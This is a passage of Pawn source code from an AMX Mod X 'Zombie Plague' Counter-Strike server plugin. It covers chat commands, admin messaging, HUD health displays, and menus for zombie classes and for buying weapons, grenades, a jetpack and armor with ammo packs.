		menu_display(iPlayer, g_iGameMenu);
		return 1;
	}
	return 0;
}

public EventStatusValue(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		static cHealth[15];
		static iVictim;
		static Red, Blue;
		iVictim = read_data(2);
		if (g_bZombie[iVictim] == g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			if (g_bZombie[iPlayer])
			{
				Blue = 0;
			}
			else
			{
				Blue = 255;
			}
			if (g_bZombie[iPlayer])
			{
				Red = 255;
			}
			else
			{
				Red = 0;
			}
			set_hudmessage(Red, 50, Blue, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ %s | Health: %s | Armor: %d | Ammo: %d ]", g_cName[iVictim], g_cClass[iVictim], cHealth, get_armor(iVictim), g_iPacks[iVictim]);
		}
		if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			set_hudmessage(255, 50, 0, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
		}
	}
	return 0;
}

public Commmand_PrivateSay(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 3))
	{
		return 1;
	}
	static cTarget[32];
	read_argv(1, cTarget, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cTarget, 0);
	static iLength;
	iLength = strlen(cTarget) + 1;
	if (!iTarget)
	{
		return 1;
	}
	static cMessage[192];
	read_args(cMessage, 191);
	if (iPlayer && iTarget != iPlayer)
	{
		PrintToChat(iPlayer, "^x01[*^x04 %s^x01 *]^x04 To ^x01[*^x03 %s^x01 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	}
	else
	{
		PrintToChat(iTarget, "^x01[*^x04 %s^x01 *]^x03 To ^x01[*^x03 %s^x01 *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
		console_print(iPlayer, "[* %s *] To [* %s *] : %s", g_cName[iPlayer], g_cName[iTarget], cMessage[iLength]);
	}
	return 1;
}

public Client_SayTeam(id)
{
	new said[2]
	read_argv(1, said, 1)
	if (said[0] != '@')
	{
		return 0;
	}
	new message[192], authid[32]
	new players[32], inum
	read_args(message, 191)
	remove_quotes(message)
	get_user_authid(id, authid, 31)
	if (!message[0] || strlen(message) > 119 || containi(message, "#") != -1 || containi(message, "%") != -1 || is_advertisement(id, message))
	{
		return 1;
	}
	if (message[0] == 64)
	{	
	    if (g_bAdmin[id] && get_user_flags(id) & 256)	
	    {
			format(message, 191, "^x01[*^x04 ADMINS^x01 *]^x03 %s^x01 :  %s",  g_cName[id], message[1])
	    }
	    else
	    {
			format(message, 191, "^x01[*^x03 PLAYER^x01 *]^x03 %s^x01 :  %s",  g_cName[id], message[1])
	    }
	    get_players(players, inum)
	    for (new i = 0; i < inum; ++i)
	    {
			if (players[i] != id && get_user_flags(players[i]) & 256)
			{
			    PrintToChat(players[i], "%s", message)
			}
	    }
	    PrintToChat(id, "%s", message)	
	}
	return 1;
}

public Client_Say(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 2);
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 119 || containi(cMessage, "#") != -1 || containi(cMessage, "%") != -1 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (cMessage[0] == '@' && get_user_flags(iPlayer) & 256)
	{
		static Float:fVertical;
		static i;
		g_iMessagePosition += 1;
		if (g_iMessagePosition > 3)
		{
			g_iMessagePosition = 0;
		}
		switch (g_iMessagePosition)
		{
			case 0:
			{
				fVertical = 0.45;
			}
			case 1:
			{
				fVertical = 0.5;
			}
			case 2:
			{
				fVertical = 0.55;
			}
			case 3:
			{
				fVertical = 0.6;
			}		
		}
		set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bConnected[i])
			{
				show_hudmessage(i, "%s :  %s", g_cName[iPlayer], cMessage[1]);
			}
			i += 1;
		}
		return 1;
	}
	if (equali(cMessage, "/nextmap") || equali(cMessage, "nextmap"))
	{
		static cMap[32];
		get_cvar_string("nextmap", cMap, 32);
		if (cMap[0])
		{
			PrintToChat(iPlayer, "^x01Next map:^x04 %s", cMap);
		}
		else
		{
			PrintToChat(iPlayer, "^x01Next map:^x04 [not yet voted on]");
		}
	}
	else
	{
		if (equali(cMessage, "/timeleft") || equali(cMessage, "timeleft"))
		{
			static iTimeleft;
			iTimeleft = get_timeleft();
			PrintToChat(0, "^x01Time Remaining:^x04 %d:%02d", iTimeleft / 60, iTimeleft % 60);
		}
		if (equali(cMessage, "/currentmap") || equali(cMessage, "currentmap"))
		{
			static cMap[32];
			get_mapname(cMap, 32);
			PrintToChat(0, "Current map:^x04 %s", cMap);
		}
		if (equali(cMessage, "/thetime") || equali(cMessage, "thetime"))
		{
			static cTime[64];
			get_time("%d/%m/%Y - %H:%M:%S", cTime, 63);
			PrintToChat(0, "^x01The Time:^x01  %s", cTime);
		}
		if (equali(cMessage, "/lm") || equali(cMessage, "lm"))
		{
			if (!g_bAlive[iPlayer])
			{
				PrintToChat(iPlayer, "^x04[ZP]^x01 You should be alive");
				return 0;
			}
			if (g_bZombie[iPlayer])
			{
				PrintToChat(iPlayer, "^x04[ZP]^x01 You should be human");
				return 0;
			}
			if (6 > g_iPacks[iPlayer])
			{
				PrintToChat(iPlayer, "^x04[ZP]^x01 You need^x04 6 ammo packs");
				return 0;
			}
			if (g_iRoundType & 128 || g_bRoundEnd || g_iRoundType & 256 || g_iRoundType & 512)
			{
				PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy a trip mine right now...");
				return 0;
			}
			g_iPacks[iPlayer] -= 6;
			g_iTripMines[iPlayer]++;
			client_cmd(iPlayer, "bind p CreateLaser; bind v TakeLaser");
			PrintToChat(iPlayer, "^x04[ZP]^x01 You bought a trip mine. Press^x03 P^x01 to plant it or^x03 V^x01 to take it");
		}
		if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
		{
			static iAmmo;
			static iTarget;
			static cAmmo[5];
			static cTarget[32];
			static cDummy[15];
			parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
			iTarget = GetTarget(iPlayer, cTarget, 0);
			iAmmo = str_to_num(cAmmo);
			if (!iTarget)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 Invalid player or matching multiple targets!");
				return 0;
			}
			if (0 >= iAmmo)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 Invalid value of packs to send!");
				return 0;
			}
			if (g_iPacks[iPlayer] < iAmmo)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You are trying to send too many packs!");
				return 0;
			}
			if (iTarget == iPlayer)
			{
				send_say_text(iPlayer, g_iMaxClients + 1, "^x04[ZP]^x01 You are trying to send packs to you!");
				return 0;
			}
			AddCommas(iAmmo, cDummy, 14);
			g_iPacks[iTarget] += iAmmo;
			g_iPacks[iPlayer] -= iAmmo;
			PrintToChat(0, "^x04[ZP]^x03 %s^x01 gave^x04 %s packs^x01 to^x03 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
		}
	}
	if (g_bAlive[iPlayer])
	{
		if (!g_cTag[iPlayer][0])
		{
			PrintToChatEx(false, iPlayer, "^x01*ALIVE*^x03 %s^x01 :  %s", g_cName[iPlayer], cMessage);
		}
		else
		{
			PrintToChatEx(false, iPlayer, "^x01*ALIVE*^x04 %s^x03 %s^x01 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
		}
	}
	else
	{
		if (get_user_team(iPlayer) == 3)
		{
			if (!g_cTag[iPlayer][0])
			{
				PrintToChatEx(true, g_iMaxClients + 1, "^x01*SPEC*^x03 %s^x01 :  %s", g_cName[iPlayer], cMessage);
			}
			else
			{
				PrintToChatEx(true, g_iMaxClients + 1, "^x01*SPEC*^x04 %s^x03 %s^x01 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
			}
		}
		else
		{
			if (!g_cTag[iPlayer][0])
			{
				PrintToChatEx(true, iPlayer, "^x01*DEAD*^x03 %s^x01 :  %s", g_cName[iPlayer], cMessage);
			}
			else
			{
				PrintToChatEx(true, iPlayer, "^x01*DEAD*^x04 %s^x03 %s^x01 :  %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
			}
		}
	}
	return 0;
}

PrintToChatEx(bool:bAlive, iPlayer, cMessage[], any:...)
{
	static i;
	static cBuffer[192];
	vformat(cBuffer, 191, cMessage, 4);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i) && g_bAlive[i] == bAlive)
		{
			send_say_text(i, iPlayer, cBuffer);
		}
		i += 1;
	}
	return 0;
}

public MessageHealth(iMessage, iDestination, iEntity)
{
	static iHealth;
	iHealth = get_msg_arg_int(1);
	if (iHealth > 255)
	{
		if (!(iHealth % 256))
		{
			set_health(iEntity, get_health(iEntity) + 1);
		}
		set_msg_arg_int(1, get_msg_argtype(1), 255);
	}
	return 0;
}

public TaskReminder()
{
	static cHealth[15];
	static iHealth;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_iPlayerType[i])
		{
			iHealth = get_health(i);
			AddCommas(iHealth, cHealth, 14);
			PrintToChat(0, "^x04[ZP]^x01 A ^x03Rapture^x01 Reminder ^x03@ ^x04%s^x01 still has %s ^x04health points!", g_cClass[i], cHealth);
		}
		i += 1;
	}
	return 0;
}

public TaskRemoveMadness(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		g_bNoDamage[iPlayer] = false;
		remove_glow(iPlayer);
		set_take_damage(iPlayer, 2);
	}
	return 0;
}

public Task_EnableFlash(iPlayer)
{
	g_bFlashEnabled[iPlayer] = true;
	g_bFlash[iPlayer] = true;
	remove_task(iPlayer + 350);
	set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
	return 0;
}

public _GameMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_bAlive[iPlayer] && g_bCanBuy[iPlayer])
				{
					set_task(0.1, "TaskShowMenu", iPlayer, "", 0, "", 0);
					PrintToChat(iPlayer, "^x04[ZP]^x01 Your buy menu has been enabled.");
				}
			}
			case 1:
			{
				if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
				{
					static cNumber[3];
					static cLine[128];
					static i;
					g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems");
					i = 0;
					while (i < 22)
					{
						if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
						{
						}
						else
						{
							if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
							{
								formatex(cLine, 128, "%s \y%d ammo packs", g_cExtraItems[i], g_iExtraItemsPrices[i]);
								num_to_str(i, cNumber, 3);
								menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
							}
						}
						i += 1;
					}
					menu_display(iPlayer, g_iMenuExtraItems);
				}
				else
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 Extra items are unavailable right now...");
				}
			}
			case 2:
			{
				menu_display(iPlayer, g_iMenuZombieClasses);
			}
			case 3:
			{
				if (g_bAlive[iPlayer] && !is_hull_vacant(iPlayer))
				{
					static i;
					static Float:fOrigin[3];
					static Float:fVector[3];
					static Float:fMins[3];
					get_mins(iPlayer, fMins);
					get_origin(iPlayer, fOrigin);
					i = 0;
					while (i < 70)
					{
						fVector[0] = floatsub(fOrigin[0], floatmul(fMins[0], g_fSizes[i][0]));
						fVector[1] = floatsub(fOrigin[1], floatmul(fMins[1], g_fSizes[i][1]));
						fVector[2] = floatsub(fOrigin[2], floatmul(fMins[2], g_fSizes[i][2]));
						if (is_origin_vacant(fVector, iPlayer))
						{
							set_origin(iPlayer, fVector);
							set_pev(iPlayer,pev_velocity,{0.0,0.0,0.0})
							i = 70;
							client_cmd(iPlayer, "spk fvox/blip.wav");
							send_screen_fade(iPlayer, 200, 200, 0, random_num(100, 220));

						}
						i += 1;
					}
					PrintToChat(iPlayer, "^x04[ZP]^x01 You have been unstucked!");
				}
				else
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You are not stuck...");
				}
			}
			case 4:
			{
				if (get_team(iPlayer) != 3)
				{
					if (g_bAlive[iPlayer])
					{
						CheckLastPlayer(iPlayer);
						kill(iPlayer);
					}
					remove_task(iPlayer + 250);
					remove_task(iPlayer + 200);
					client_cmd(iPlayer, "chooseteam");
					engclient_cmd(iPlayer, "jointeam", "6");
					log_amx("^"%s^" joined spectators!", g_cName[iPlayer]);
					PrintToChat(iPlayer, "^x04[ZP]^x01 You are now spectator!");
				}
			}		
		}
	}
	return 0;
}

public _ZombieClasses(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[15];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		g_iZombieNextClass[iPlayer] = iChoice;
		AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
		PrintToChat(iPlayer, "^x04[ZP]^x01 Your zombie class after the next infection will be:^x04 %s", g_cZombieClasses[iChoice]);
		PrintToChat(iPlayer, "^x04[ZP]^x01 Health:^x04 %s^x01 | Speed:^x04 %0.0f^x01 | Gravity:^x04 %0.0f^x01 | Knockback:^x04 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], g_fZombieGravities[iChoice] * 100.0, g_fZombieKnockbacks[iChoice] * 100.0, "%");
	}
	return 0;
}

public _ExtraItems(iPlayer, iMenu, iItem)
{
	if (g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer] && !g_bFake[iPlayer])
	{
		static bAlreadyBought[33];
		static iSurvivors;
		static iSnipers;
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (g_bFlash[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
                    set_task(0.1, "Task_EnableFlash", iPlayer, "", 0, "", 0);
                    g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                    set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                    ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
				}
			}
			case 1:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy this item right now!");
					return 0;
				}
				MakeHuman(iPlayer, false, false);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
			}
			case 2:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (g_bNoDamage[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					g_bNoDamage[iPlayer] = true;
					set_take_damage(iPlayer, 0);
					sound(iPlayer, 2, "zombie_plague/zombie_madness.wav");
					set_glow(iPlayer, 19, 150, 255, 0, 0);
					set_task(5.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
					PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Zombie Madness", g_cName[iPlayer]);
				}
			}
			case 3:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy this item right now!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					give_weapon(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
				}
			}
			case 4:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					give_weapon(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Nade!");
				}
			}
			case 5:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 25, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					give_weapon(iPlayer, "weapon_flashbang");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Napalm Nade!");
				}
			}
			case 6:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 9, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					give_weapon(iPlayer, "weapon_smokegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Frost Nade!");
				}
			}
			case 7:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 18, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1509749160);
					give_weapon(iPlayer, "weapon_awp");
					give_ammo(iPlayer, 18, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
				}
			}
			case 8:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 20, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					DropWeapons(iPlayer, 1509749160);
					give_weapon(iPlayer, "weapon_m249");
					give_ammo(iPlayer, 20, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
				}
			}
			case 9:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 13, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
				}
				else
				{
					DropWeapons(iPlayer, 1509749160);
					give_weapon(iPlayer, "weapon_sg550");
					give_ammo(iPlayer, 13, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
				}
			}
			case 10:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 24, -1))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					DropWeapons(iPlayer, 1509749160);
					give_weapon(iPlayer, "weapon_g3sg1");
					give_ammo(iPlayer, 24, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
				}
			}
			case 11:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (get_user_jetpack(iPlayer))
				{
					user_drop_jetpack(iPlayer, 1);
				}
				set_user_jetpack(iPlayer, 1);
				set_user_fuel(iPlayer, 250.0);
				set_user_rocket_time(iPlayer, 0.0);
				PrintToChat(iPlayer, "^x04[ZP]^x01 Press^x03 CTR+SPACE^x01 to fly!");
				PrintToChat(iPlayer, "^x04[ZP]^x01 Press^x03 RIGHT CLICK^x01 to shoot!");
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
			}
			case 12:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (g_bUnlimitedClip[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					g_bUnlimitedClip[iPlayer] = true;
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
				}
			}
			case 13:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
					return 0;
				}
				if (120 < get_armor(iPlayer))
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
					return 0;
				}
				else
				{
					set_armor(iPlayer, get_armor(iPlayer) + 100);
					sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
				}
			}
			case 14:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
